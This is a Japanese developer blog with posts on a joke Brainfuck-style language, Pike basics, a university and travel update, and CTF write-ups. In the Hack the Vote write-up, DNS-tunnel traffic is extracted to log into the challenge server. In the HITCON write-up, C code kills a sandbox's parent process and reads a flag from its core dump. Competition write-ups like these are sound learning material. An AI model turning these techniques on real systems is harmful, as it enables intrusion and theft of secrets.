読者です 読者をやめる 読者になる 読者になる

yamaguchi.txt

開発日記。備忘録代わりだよ。

brainf*ckでママ言語

12/15日はcookies(通称ママ)のお誕生日なので、brainf*ckパクリのママ言語を作ってみた。(盛大にフライング)

ソースコードを見てください。
github.com

brainf*ckインタプリタを書く

記号を置き換えてママインタプリタを書く

ママ言語、そのまま書くのが辛すぎるのでbrainf*ckをママ言語に変換するプログラムを書く

という順に実装をした。

命令は下記のように割り当てた。

> : "ママーー!\n"
< : "ママーー!!\n"
+ : "ばぶぅ!\n"
- : "ばぶーーー!\n"
. : "マ、マーーー!!\n"
, : "ままああああああ!\n"
[ : "赤ちゃんでしゅ。\n"
] : "赤ちゃんでーーしゅ!\n"

末尾に改行が入っていることから分かる通り、一命令一行である。赤ちゃんは改行が大好き!

"HelloWorld"を出力するママ言語

ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
赤ちゃんでしゅ。
ママーー!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ママーー!!
ばぶーーー!
赤ちゃんでーーしゅ!
ママーー!
マ、マーーー!!
ママーー!!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
赤ちゃんでしゅ。
ママーー!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ママーー!!
ばぶーーー!
赤ちゃんでーーしゅ!
ママーー!
ばぶーーー!
マ、マーーー!!
ママーー!!
ばぶぅ!
ばぶぅ!
赤ちゃんでしゅ。
ママーー!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ママーー!!
ばぶーーー!
赤ちゃんでーーしゅ!
ママーー!
ばぶぅ!
マ、マーーー!!
マ、マーーー!!
ばぶぅ!
ばぶぅ!
ばぶぅ!
マ、マーーー!!
ママーー!!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
赤ちゃんでしゅ。
ママーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ママーー!!
ばぶーーー!
赤ちゃんでーーしゅ!
ママーー!
マ、マーーー!!
ママーー!!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
赤ちゃんでしゅ。
ママーー!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ばぶぅ!
ママーー!!
ばぶーーー!
赤ちゃんでーーしゅ!
ママーー!
マ、マーーー!!
ばぶぅ!
ばぶぅ!
ばぶぅ!
マ、マーーー!!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
マ、マーーー!!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
ばぶーーー!
マ、マーーー!!


感想

githubを見れば分かる通り実装は超簡単なので実装時間は2時間にも満たないが、楽しかった!
これでママーーー!と言っていてもプログラミングをしていると主張できる!

プログラミング言語pike

TSG駒場祭ハッカソンでesolang百マス陣取りゲームをやり、pikeというプログラミング言語を知ったが日本語のレファレンスが少なく、かつ感動したためここにまとめる。

pikeとは?

Cに見た目がよく似たプログラミング言語で、動的型付けも静的型付けも可能
wikipediaを見よう。

インストール

公式サイトからダウンロードしてコンパイルするが、そのままでは動かなかったので、
多倍長ライブラリのGMPを公式サイトからダウンロードし、解凍してインストールする。
またエラーが出るので、Nettleをダウンロードしインストールする。
READMEに従い、rootのディレクトリでmake,make install.
コマンドpikeを打つと対話型で使え、適当な拡張子で(例えばtest.pike)ファイルを作り、pike test.pike などとすると実行される。

型の種類

basic typeはint,float,stringの三種類。(Cと違いcharがなくてハマった)
特殊な型として、mixed型(型はなんでも良いという型)が存在する。
intは同じ78が、
10進数で78
8進数で0116
16進数で0x4e
2進数で0b1001110
1文字の'N'('N'はasciiコードで78)
と表せる。

pikeではintが表せる範囲は非常に大きく、またその範囲を超えた場合にはbignumというintより遅いが大きい型に勝手に変更してくれるので、intしか使う必要がない。

このように動的型付けと静的型付けが混在しているため、変数aがint,float,stringのどれかを確認するためのintp(a),floatp(a),stringp(a)という関数が用意されている。(戻り値はaがint型ならintp(a)==1でそれ以外なら0)

stringは"+"で連結ができるが,
string s = "hogehoge\n"のとき、
s[2]="g"ではなく
s[2]=103
となるので注意。

Zero is special

0は整数値であるだけでなく、すべての型の値がない状態を表し、したがって初期化されずに宣言されたすべての変数は0になる。
公式サイトより↓

float f;  // Now, f contains the integer value 0.
f = f + 1;// Now, f contains the integer value 1.
f = 0;    // Now, f contains the integer value 0 again!
f = 0.0;  // Now, f contains the real value 0.0.

正直気持ち悪いですねー・・・。
したがって、下記のコードの出力は「0Hi!」になります。

int main(){
  string s;
  //s==0!!!
  s += "Hi!\n";
  write(s);
}

配列

こういうのが配列になります
({2,3,4,1})
({"pohe",4,2.1,"hoge!?",334,({1,1,4,"cookie"}) })
宣言は、
array a; 型はなんでも良い
array(string) a; stringのarray
array(mixed) a; 型何でも良い
でできる。

array a = ({2,3,4});
array b = ({3,5,6});
のとき、
a[1]==3
a + b == ({2,3,4,3,5,6})
となります。


Sample

Hello world!

int main(){
  write("Hello world!\n");
}

Fizz Buzz

int main(){
  for(int i=1;i<100;i++){
    if(i%3 == 0 || i%5 == 0){
    if(i%3 == 0) write("Fizz");
    if(i%5 == 0) write("Buzz\n");
    else write("\n");}
    else write("%d\n",i);
    }
}

標準入力で与えられた二進数を十進数に変換して標準出力に出す
(ハッカソンの課題だった)

int main() {
  string s=Stdio.stdin.gets();
   int i=strlen(s);
   int res=0;
   int j=i-1;
   while(j>=0){
     if(s[j]==49){
    	res= res+pow(2,i-j-1);
     }
     j = j-1;
    }
   write("%d\n",res);
   return 0;
}

参考リンク

インストールめんどくさいのでちょっとここで試してみよう。
https://ideone.com/

公式。
http://pike.lysator.liu.se/

感想

pike,気持ち悪すぎて逆に好きになってしまった。
疑問質問まさかりなどがあれば本当にお気軽にどうぞ。

Hack the vote forensic 500 Hillary's Email [writeup]

Problem:

We suspect Hillary has been smuggling her emails over the border using some kind of underground passageway. Find out where she's hiding them and what secrets they contain

We were given pcap file like this.
f:id:yamaguchi_1024:20161107110232p:plain

There were over 40000 packets of DNS protocol,and when we noticed that there were strange string in the query.
f:id:yamaguchi_1024:20161107110620p:plain

In the picture above, blue part is a query of DNS, and you see the strange substring in the prefix of domain name.

vaaaakawdaq.hillary.clinton.io
yrbqyg.hillary.clinton.io

all packets were like this, so we thought that there were information inside.

We used scapy to extract domain name out of DNS query.
Our script was like this:

import scapy
a=rdpcap("hillary.pcap")
for i in range(len(a)):
    if (a[i]["Ether"].src=="192.168.175.150" and len(a[i]["DNSRQ"].qname)!=0) :
        res.append(a[i]["DNSRQ"].qname)

Results:

00000000  79 72 62 71 79 64 76 61  61 61 61 6b 61 77 64 61  |yrbqydvaaaakawda|
00000010  71 6c 61 64 69 78 76 79  70 78 68 35 7a 32 70 76  |qladixvypxh5z2pv|
00000020  78 6d 34 72 73 70 6b 64  31 6a 75 70 73 6d 67 62  |xm4rspkd1jupsmgb|
00000030  69 79 72 62 71 79 67 7a  71 79 68 61 41 2d 41 61  |iyrbqygzqyhaA-Aa|
00000040  61 68 68 68 2d 44 72 69  6e 6b 2d 6d 61 6c 2d 65  |ahhh-Drink-mal-e|
00000050  69 6e 2d 4a e4 67 65 72  6d 65 69 73 74 65 72 2d  |in-J.germeister-|
00000060  7a 71 79 69 61 41 2d 4c  61 2d 66 6c fb 74 65 2d  |zqyiaA-La-fl.te-|
00000070  6e 61 ef 76 65 2d 66 72  61 6e e7 61 69 73 65 2d  |na.ve-fran.aise-|
00000080  65 73 74 2d 72 65 74 69  72 e9 2d e0 2d 43 72 e8  |est-retir.-.-Cr.|
00000090  74 65 7a 71 79 6a 61 41  62 42 63 43 64 44 65 45  |tezqyjaAbBcCdDeE|
000000a0  66 46 67 47 68 48 69 49  6a 4a 6b 4b 6c 4c 6d 4d  |fFgGhHiIjJkKlLmM|
000000b0  6e 4e 6f 4f 70 50 71 51  72 52 73 53 74 54 75 55  |nNoOpPqQrRsStTuU|
000000c0  76 56 77 57 78 58 79 59  7a 5a 7a 71 79 6b 61 41  |vVwWxXyYzZzqykaA|
000000d0  30 31 32 33 34 35 36 37  38 39 bc bd be bf c0 c1  |0123456789......|
000000e0  c2 c3 c4 .....(continue)

Here, we noticed that there are readable string "Drink-mal-ein" so we googled it and hit the write up.
blog.stalkr.net

We noticed that this problem is very similar to the problem we are solving, so we did as they had done.

We used encoder.c(http://stalkr.net/files/hack.lu/2010/9/encoder.c) and uncompress.c(http://stalkr.net/files/hack.lu/2010/9/uncompress.c). When compiling uncompress.c, we had to add compile option like this

gcc uncompress.c -lz

We compiled those two and used the python script below.

# Extract iodine DNS tunnel data
# -- StalkR
from scapy.all import *
from subprocess import Popen,PIPE

input, output = "hillary.pcap", "extracted.pcap"
topdomain = ".hillary.clinton.io."
upstream_encoding = 128
# and no downstream encoding (type NULL)

# see encoder.c
def encoder(base,encode="",decode=""): # base=[32,64,128]
  p = Popen(["./encoder", str(base), "e" if len(encode)>0 else "d"], stdin=PIPE, stdout=PIPE)
  p.stdin.write(encode if len(encode)>0 else decode)
  return p.communicate()[0]

# see uncompress.c
def uncompress(s):
  p = Popen(["./uncompress"], stdin=PIPE, stdout=PIPE)
  p.stdin.write(s)
  if p.wait() == 0:
    return p.communicate()[0]
  else:
    return False

def b32_8to5(a):
  return "abcdefghijklmnopqrstuvwxyz012345".find(a.lower())

def up_header(p):
  return {
    "userid": int(p[0],16),
    "up_seq": (b32_8to5(p[1]) >> 2) & 7,
    "up_frag": ((b32_8to5(p[1]) & 3) << 2) | ((b32_8to5(p[2]) >> 3) & 3),
    "dn_seq": (b32_8to5(p[2]) & 7),
    "dn_frag": b32_8to5(p[3]) >> 1,
    "lastfrag": b32_8to5(p[3]) & 1
  }

def dn_header(p):
  return {
    "compress": ord(p[0]) >> 7,
    "up_seq": (ord(p[0]) >> 4) & 7,
    "up_frag": ord(p[0]) & 15,
    "dn_seq": (ord(p[1]) >> 1) & 15,
    "dn_frag": (ord(p[1]) >> 5) & 7,
    "lastfrag": ord(p[1]) & 1,
  }

# Extract packets from DNS tunnel
# Note: handles fragmentation, but not packet reordering (sequence numbers)
p = rdpcap(input)
dn_pkt, up_pkt = '', ''
datasent = False
E = []
for i in range(len(p)):
  if not p[i].haslayer(DNS):
    continue
  if DNSQR in p[i]:
    if DNSRR in p[i] and len(p[i][DNSRR].rdata)>0: # downstream/server
      d = p[i][DNSRR].rdata
      if datasent: # real data and no longer codec/fragment checks
        dn_pkt += d[2:]
        if dn_header(d)['lastfrag'] and len(dn_pkt)>0:
          u = uncompress(dn_pkt)
          if not u:
            dn_pkt=''
            continue
            raise Exception("Error dn_pkt %i: %r" % (i,dn_pkt))
          E += [IP(u[4:])]
          dn_pkt = ''
    else: # upstream/client
      d = p[i][DNSQR].qname
      if d[0].lower() in "0123456789abcdef":
        datasent = True
        up_pkt += d[5:-len(topdomain)].replace(".","")
        if up_header(d)['lastfrag'] and len(up_pkt)>0:
          u = uncompress(encoder(upstream_encoding,decode=up_pkt))
          if not u:
            raise Exception("Error up_pkt %i: %r" % (i,up_pkt))
          E += [IP(u[4:])]
          up_pkt = ''

wrpcap(output, E)
print "Successfully extracted %i packets into %s" % (len(E), output)

We slightly changed the script from the original one, because otherwise it stopped with Error.

It took over an hour to run this script, then it gave us extracted.pcap(you can download from here:
extracted.pcap - Google ドライブ
)

We run this code:

`--> strings extracted.pcap| grep -3 Welcome | less

and the results were like this:

--
Etrump
Bpassword: V1
^China
^Welcome, trump
<;N@
Q4-7
4;O@
--
.9(6T
>China
n9(6T)
eWelcome, trump
n9(6c)
49(6d
<IJ@
--
bernie
zpassword: 
tH3_h4nDfUl_0n_top
Welcome, bernie
Q4-7
     
     
--
clinton
Cpassword: 
IAmGoingToBeTheNextPresidentAndIWillDestroyTrump
WWelcome, clinton
kNow, to access your emails, enter the SUPER SECRET PASSWORD: 
*uhhh....China?
r+---------------------

From this, you can see that Trump's password is China, bernie's password is tH3_h4nDfUl_0n_top, and clinton's password is IAmGoingToBeTheNextPresidentAndIWillDestroyTrump.(Neither of those were flags)

extracted.pcap looked like this, and we noticed that it had access with 45.55.178.70.
f:id:yamaguchi_1024:20161107114628p:plain

so we accessed 45.55.178.70 as well.

--> nc 45.55.178.79 9999                          
██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗    ████████╗ ██████╗     ██╗  ██╗██╗██╗     ██╗      █████╗ ██████╗ ██╗   ██╗███████╗
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝    ╚══██╔══╝██╔═══██╗    ██║  ██║██║██║     ██║     ██╔══██╗██╔══██╗╚██╗ ██╔╝██╔════╝
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗         ██║   ██║   ██║    ███████║██║██║     ██║     ███████║██████╔╝ ╚████╔╝ ███████╗
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝         ██║   ██║   ██║    ██╔══██║██║██║     ██║     ██╔══██║██╔══██╗  ╚██╔╝  ╚════██║
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗       ██║   ╚██████╔╝    ██║  ██║██║███████╗███████╗██║  ██║██║  ██║   ██║   ███████║
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝       ╚═╝    ╚═════╝     ╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝   ╚══════╝
   _                                                       _                                                       _                                
  (_)                                                     (_)                                                     (_)                               
 <___>                                                   <___>                                                   <___>                              
  | |______                                               | |______                                               | |______                         
  | |* * * )                                              | |* * * )                                              | |* * * )                        
  | | * * (_________                                      | | * * (_________                                      | | * * (_________                
  | |* * * |* *|####)                                     | |* * * |* *|####)                                     | |* * * |* *|####)               
  | | * * *| * |   (________________                      | | * * *| * |   (________________                      | | * * *| * |   (________________
  | |* * * |* *|####|##############|                      | |* * * |* *|####|##############|                      | |* * * |* *|####|##############|
  | | * * *| * |    |              |                      | | * * *| * |    |              |                      | | * * *| * |    |              |
  | |* * * |* *|####|##############|                      | |* * * |* *|####|##############|                      | |* * * |* *|####|##############|
  | |~~~~~~| * |    |              |                      | |~~~~~~| * |    |              |                      | |~~~~~~| * |    |              |
  | |######|* *|####|##############|                      | |######|* *|####|##############|                      | |######|* *|####|##############|
  | |      |~~~'    |              |                      | |      |~~~'    |              |                      | |      |~~~'    |              |
  | |######|########|##############|                      | |######|########|##############|                      | |######|########|##############|
  | |      |        |              |                      | |      |        |              |                      | |      |        |              |
  | |######|########|##############|                      | |######|########|##############|                      | |######|########|##############|
  | |~~~~~~|        |              |                      | |~~~~~~|        |              |                      | |~~~~~~|        |              |
  | |      |########|##############|                      | |      |########|##############|                      | |      |########|##############|
  | |      '~~~~~~~~|              |                      | |      '~~~~~~~~|              |                      | |      '~~~~~~~~|              |
  | |               |##############|                      | |               |##############|                      | |               |##############|
  | |               '~~~~~~~~~~~~~~~                      | |               '~~~~~~~~~~~~~~~                      | |               '~~~~~~~~~~~~~~~
  | |                                                     | |                                                     | |                               
  | |                                                     | |                                                     | |                               
  | |                                                     | |                                                     | |                               
                                                                                                                                                    
██████╗ ██████╗ ██╗██╗   ██╗ █████╗ ████████╗███████╗    ███████╗███╗   ███╗ █████╗ ██╗██╗         ███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗ 
██╔══██╗██╔══██╗██║██║   ██║██╔══██╗╚══██╔══╝██╔════╝    ██╔════╝████╗ ████║██╔══██╗██║██║         ██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
██████╔╝██████╔╝██║██║   ██║███████║   ██║   █████╗      █████╗  ██╔████╔██║███████║██║██║         ███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝
██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██║   ██║   ██╔══╝      ██╔══╝  ██║╚██╔╝██║██╔══██║██║██║         ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗
██║     ██║  ██║██║ ╚████╔╝ ██║  ██║   ██║   ███████╗    ███████╗██║ ╚═╝ ██║██║  ██║██║███████╗    ███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝  ╚═╝  ╚═╝   ╚═╝   ╚══════╝    ╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚══════╝    ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

+-----------------------------+
|       !!! WARNING !!!       |
| SYSTEM HAS BEEN LOCKED DOWN |
|     NON-ADMIN USERS ARE     |
|        NOW  DISABLED        |
+-----------------------------+

login: 

BINGO!!
We logged in with user:clinton pass:IAmGoingToBeTheNextPresidentAndIWillDestroyTrump, and we got 400MB of email dump.
(You can download email dump from here:dump - Google ドライブ)

We changed extension to .pst , and opened it with Outlook.
After a long time staring at email, we noticed the year of the email were strange....
f:id:yamaguchi_1024:20161107115347p:plain

For example if the date was 2095/03/10, we saw 95 as decimal and converted into ascii string and...
f:id:yamaguchi_1024:20161107115625p:plain

Finally got the FLAG!!!!

EKOPARTY CTF 2016 参加記

今回は、wasamusumeというチームで出ました。メンバーはゆったん、三村さん、新穂さん、cookiesなど。
最終得点は1650点で47位、日本では3位かな?
私の解いた問題の得点の合計はたぶん400なので、貢献度1/4という感じでまぁまずまずの結果です。
cookiesの得点が725でほぼ半分で、凄すぎるんだよなぁ…。

[MISC 250] Old but gold

とても頑張りました。気合問でした。
f:id:yamaguchi_1024:20161030031629p:plain

こんな感じの画像が14枚与えられます。

問題文にThese QR codes look weirdと書いてあったので、QRcode???と思ってみてみるも違いそうで。
google画像検索してみたら、パンチカードというキーワードがゲットできたので、punchcard decryptなどとぐぐる
KLOTH.NET - Card punch emulator
punchcard emulatorなるサイトに行き当たり、問題の画像はこのemulatorを使っていることがわかりました。

あとは、なんて書いてあるか読むだけです!!
上記のリンクを用いて、パンチカードの穴の開け方とどの文字が対応しているのかを調べて、あとは本当に頑張って問題のパンチカードを読み取ります。
f:id:yamaguchi_1024:20161030032041p:plain

たぶん合計で5時間くらいは掛かりました。最初は、一文字一文字対応表と見比べて読んでいましたが、半分くらい終わると慣れて、対応表を見なくてもパンチカードが読めるようになりましたが、このスキルはいったい何の役に立つんだろう…。とか考えてとても楽しかったです。
英語なので、文脈と語の最初の文字から単語が推測できる程度の英語力は非常に役に立ちました。

一枚目のパンチカードから、14枚目のパンチカードまで、書いてあることを順に並べると下記のようになります。

of time punching those nards, can you imagine what could
the bug, but those wer3 the old days. can you find the flag
using this old technology? good luck, you will need it )
it was the sixties, he was trykng to figure out how to
manuals try1ng to learn how to program and spend a lot
happen if you fake a small mistake in on of those punched
use those ponched cards, he likes to program in fortran
error due to a small and almost insignificant mist4ke but
and cobol, b(t even after all those years he doesnt know
cards? after those hours waiting ror a result, then it says
in those days your only option w4s read large book and
how to properly mrite secure code in those languages
that will take more time to mebug and figure out where was
once upon a teme, there was a young hacker called mj

英文として、まったく意味が通じないので、意味がある英文に並べ替えました。

once upon a teme, there was a young hacker called mj
it was the sixties, he was trykng to figure out how to
use those ponched cards, he likes to program in fortran
and cobol, b(t even after all those years he doesnt know
how to properly mrite secure code in those languages
in those days your only option w4s read large book and 
manuals try1ng to learn how to program and spend a lot 
of time punching those nards, can you imagine what could
happen if you fake a small mistake in on of those punched
cards? after those hours waiting ror a result, then it says
error due to a small and almost insignificant mist4ke but 
that will take more time to mebug and figure out where was 
the bug, but those wer3 the old days. can you find the flag
using this old technology? good luck, you will need it)

昔は大変だったんですねー…。という英文です。英文を並べ替える段階で、受験英語が初めて役に立った感じがして最高でした。

それぞれの行から、スペルミスしているアルファベットを抜き出すと、
EKO(M41NFR4M3)
小かっこを中かっこに直したら、フラグが通りました。


[forensic 75]Damaged

やるだけ問でした…。
ビットマップイメージが与えられるので、ビットマップイメージをjpegに変換するツールhttps://convertio.co/ja/bmp-jpg/に通すだけでした。

f:id:yamaguchi_1024:20161030033148j:plain


[misc 50]Hidden inside EKO


開発者ツールでbackground.pngとかいうのを見てみると、左上にそのままflagがありました。
f:id:yamaguchi_1024:20161030033318p:plain

[rev 25]JVM

デコンパイルするだけだった。


感想

毎回、miscばっかり解いている気がする。
雑魚問はプロがなぎ倒してくれるので、私は忍耐力しか必要でない高得点misc問に集中した方がいいのかなぁと思ったが、去年のsecconでそれをやって爆死したので怖さがある。
楽しかった。

HITCON CTF 2016 Quals参加記

TSGの面々(cookies,dai,hakatashi,moratorium,satos,yamaguchi)で参加してました。
二日目から私の自宅を開放して集まってやりました。プロが解いてくれたので、私は応援係をしていました。

I'm here

頑張った。ほぼこれしかやっていない。

nc 52.196.86.193 2507
バイナリファイルが与えられます。a.outを実行してくれるなぁと思います。

解析パート

objdumpを見てみました。forkとかunlinkとかしてるのが怪しいなぁと思います。

00000000004005f0 <main>:
  4005f0:       53                      push   %rbx
  4005f1:       be 4f 73 4b 00          mov    $0x4b734f,%esi
  4005f6:       bf c4 1a 4a 00          mov    $0x4a1ac4,%edi
  4005fb:       e8 b0 f5 00 00          callq  40fbb0 <_IO_new_fopen>
  400600:       48 85 c0                test   %rax,%rax
  400603:       74 26                   je     40062b <main+0x3b>
  400605:       48 89 c2                mov    %rax,%rdx
  400608:       be 00 01 00 00          mov    $0x100,%esi
  40060d:       bf e0 e6 6c 00          mov    $0x6ce6e0,%edi
  400612:       48 89 c3                mov    %rax,%rbx
  400615:       e8 b6 f2 00 00          callq  40f8d0 <_IO_fgets>
  40061a:       48 85 c0                test   %rax,%rax
  40061d:       74 0c                   je     40062b <main+0x3b>
  40061f:       48 89 df                mov    %rbx,%rdi
  400622:       e8 09 ef 00 00          callq  40f530 <_IO_new_fclose>
  400627:       85 c0                   test   %eax,%eax
  400629:       74 04                   je     40062f <main+0x3f>
  40062b:       31 c0                   xor    %eax,%eax
  40062d:       5b                      pop    %rbx
  40062e:       c3                      retq   
  40062f:       bf c4 1a 4a 00          mov    $0x4a1ac4,%edi
  400634:       e8 37 f4 03 00          callq  43fa70 <__unlink>
  400639:       85 c0                   test   %eax,%eax
  40063b:       75 ee                   jne    40062b <main+0x3b>
  40063d:       e8 de dc 03 00          callq  43e320 <__libc_fork>
  400642:       85 c0                   test   %eax,%eax
  400644:       74 09                   je     40064f <main+0x5f>
  400646:       31 ff                   xor    %edi,%edi
  400648:       e8 33 dc 03 00          callq  43e280 <__libc_wait>
  40064d:       eb dc                   jmp    40062b <main+0x3b>
  40064f:       be ca 1a 4a 00          mov    $0x4a1aca,%esi
  400654:       31 d2                   xor    %edx,%edx
  400656:       48 89 f7                mov    %rsi,%rdi
  400659:       e8 22 e0 03 00          callq  43e680 <execlp>
  40065e:       31 ff                   xor    %edi,%edi
  400660:       e8 bb df 03 00          callq  43e620 <_exit>
  400665:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
  40066c:       00 00 00 
  40066f:       90                      nop

静的解析ができないので、gdbで実行してみようと思います。
なんだかすぐ異常終了しちゃうなぁと思ったら、fopenで/flagというファイルをreadで開こうとして失敗しているんだなということがわかります。

=> 0x4005fb <main+11>:	call   0x40fbb0 <fopen64>
   0x400600 <main+16>:	test   rax,rax
   0x400603 <main+19>:	je     0x40062b <main+59>
   0x400605 <main+21>:	mov    rdx,rax
   0x400608 <main+24>:	mov    esi,0x100
Guessed arguments:
arg[0]: 0x4a1ac4 --> 0x612f0067616c662f ('/flag')
arg[1]: 0x4b734f --> 0x614d007270410072 ('r')

/flagというファイルを作ります。
fgetsでファイルの中身を読み込んで0x6ce6e0というアドレスに入れていることがわかります。

=> 0x400615 <main+37>:	call   0x40f8d0 <fgets>
   0x40061a <main+42>:	test   rax,rax
   0x40061d <main+45>:	je     0x40062b <main+59>
   0x40061f <main+47>:	mov    rdi,rbx
   0x400622 <main+50>:	call   0x40f530 <fclose>
Guessed arguments:
arg[0]: 0x6ce6e0 --> 0x0 
arg[1]: 0x100 
arg[2]: 0x6d1bf0 --> 0xfbad2488 

また実行をしていくとfcloseとunlinkで失敗して死んでいることがわかるので、適当にset $rax=1してあげるか、fcloseやunlinkの権限がなくて死んでいることがわかるのでsudoを付けて実行してあげるかします。

その後、forkをして子プロセスを作り、そこでa.outというファイルをexeclpしていることがわかりました。

解析はこんな感じで、問題は/flagというファイルが読み出されたあと削除されてしまっているので、親プロセスのメモリ0x6ce6e0をなんとかして読んでフラグを入手しようね、ということだとわかります。

攻撃パート

攻撃用スクリプトをsatosプロから入手しました。

from socket import *
import time
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("52.196.86.193", 2507))
with open('a.out','rb') as fp:
    s = fp.read()
    
#print len(s)
sock.send(str(len(s)) + '\n')
sock.send(s)
s = ""
for i in xrange(500):
    s += sock.recv(1024)

print s


プロ!!後は親プロセスのメモリを表示させるだけ!!!

まずはHello worldとかして色々試してみますが、どうもexecv("/bin/ls","/bin/ls",NULL)系が通らないなぁとわかります。
しかしCのscandirは通って、ls的なことはできました。

こんな感じ。

struct dirent **namelist;
     int r=scandir(".",&namelist,NULL,NULL);
     printf("%d\n",r);
     int i=0;
     for(i=0;i<r;i++){
     printf("%s\n",namelist[i]->d_name);
     }

これを送りつけると、カレントディレクトリには. .. a.out imhereの4つしか無いことがわかります。やっぱり/flagは消されてますね。
しかし、ルートディレクトリを見ようとすると、. .. a.out imhereしかありません、カレントと一緒です。chrootされていることがわかりました。


嘘解法

cookiesプロと一緒に、chroot脱獄しようと頑張りました。
こんなリンク参考にしたりとか…。
Escaping a chroot jail/1 | PyTux

いろいろ頑張ったのですが、この方針はダメでした。
chroot関数が実行できなかったのですね。

嘘解法2

getppidとかで親のプロセスIDはわかったので、ptraceでなんとかメモリを読もうと頑張りました。
でも、これもダメ!operation not permitedと言われます。

通った解法

cookiesプロがコアファイルがどうのと言い出したのでコアファイルを吐かせるために親プロセスを殺しに行きました。
参考にしたリンク。
Linuxコマンド kill - 非エンジニアのエンジニア道
Man page of GETRLIMIT

cookiesがurlimitをどうこうしてくれて、killコマンドで親プロセスを殺してコアファイルを表示しようとしました。
しかし、何回やってもダメ・・・。cookiesが思いつきでsleep(3)してくれたら出てきました!killコマンドはシグナルを送るだけだから少し待たないとコアファイル出てこないみたいです。

こんな感じ。

#include<dirent.h>
#include <stdio.h>  
#include <errno.h>  
#include <fcntl.h>  
#include <string.h>  
#include<stdlib.h>
#include <unistd.h>  
#include <sys/stat.h>  
#include <sys/types.h>  
#include<signal.h>
#include<sys/time.h>
#include<sys/resource.h>
#include<sys/ptrace.h>

char buf[3000];
int main(){
  pid_t p_pid;
  pid_t c_pid;
  p_pid=getppid();
  c_pid=getpid();

  struct rlimit newlimit,oldlimit;
  newlimit.rlim_cur=RLIM_INFINITY;
  newlimit.rlim_max=RLIM_INFINITY;
  prlimit(p_pid,RLIMIT_CORE,&newlimit,&oldlimit);

  kill(p_pid,3);
  sleep(5);

  FILE *open=fopen("core","rb");
  while(fread(buf,128,1,open)) {
    write(1,buf,128);
  }
  fclose(open);

  return 0;
}

出てきたコアファイルをgdbで読めばフラグを入手できるはずなんだけど、何回やってもformat errorとか言われてなんでだろうなあとか言ってたらもらった攻撃用スクリプトのバグでちゃんと読もうなって気分になりました。
ちゃんとしたコアファイルが出てきたら、見るだけ!!

$ gdb ./imhere core
gdb-peda$ x/s 0x6ce6e0
0x6ce6e0 <flag>:	"hitcon{i'm H1re, C4n Y0u see m3}\n"

長かった…。

Flame

だいぶ時間をかけたけど解けなかった。objdumpを渡したら、私が寝ている間にsatosプロが解いてくれた。
powerpc32bitのファイルが渡されるので、gdbで実行したら勝ちやろ!っつってpowerpc用のgdbを入れようと頑張るができず・・・。
これは何が正攻法なんですかね??

感想

楽しかった!おうちでわいわいやるのは楽しいね。
まともに大会出るのは去年のseccon以来とかセキュキャン以来とかで最近全くCTFしてなかったけど一問は解けてよかった…。結局13チームしか解けてないし。
でも他のメンバーに比べると圧倒的雑魚なので頑張りたい。

南米&内定先のご報告

お久しぶりです。

8/15~9/22まで、南米に旅行に行っていました。
とても楽しかったです。写真を記事の後半にまとめて載せます。

私が所属する東京大学では進学振り分けという、入学するときは全員教養学部に入れられ、二年生の夏にどの学部学科に進学するか決められる制度があります。
セキュリティキャンプの自己紹介で「順調に行けば情報科学科に行くと思う」と書きましたが、順調にいって理学部の情報科学科に内定しました。
三年生でCPU実験をすることで有名(?)な学科で、数学も割とやるしVHDLも書くしみたいなレイヤーが低めの学科だと思います。
レイヤー高く生きていこうと思ったばっかりなのになー・・・・。
授業が始まって一週間ですが、とりあえずとても楽しいです。

10月はCODE BLUEやAVtokyoがあり、イベント盛りだくさんという感じですね。
よろしくお願いしますー!

マチュピチュ
f:id:yamaguchi_1024:20161001183418j:plain

6088mのワイナポトシという山に登りました。
f:id:yamaguchi_1024:20161001183424j:plain

ウユニ塩湖(乾季なので残念)
f:id:yamaguchi_1024:20161001183429j:plain

イグアスの滝
f:id:yamaguchi_1024:20161001183432j:plain

パラリンピック
f:id:yamaguchi_1024:20161001183437j:plain

アマゾンの夕暮れ
f:id:yamaguchi_1024:20161001183440j:plain

セキュキャン五日目

ついに最終日になりました。
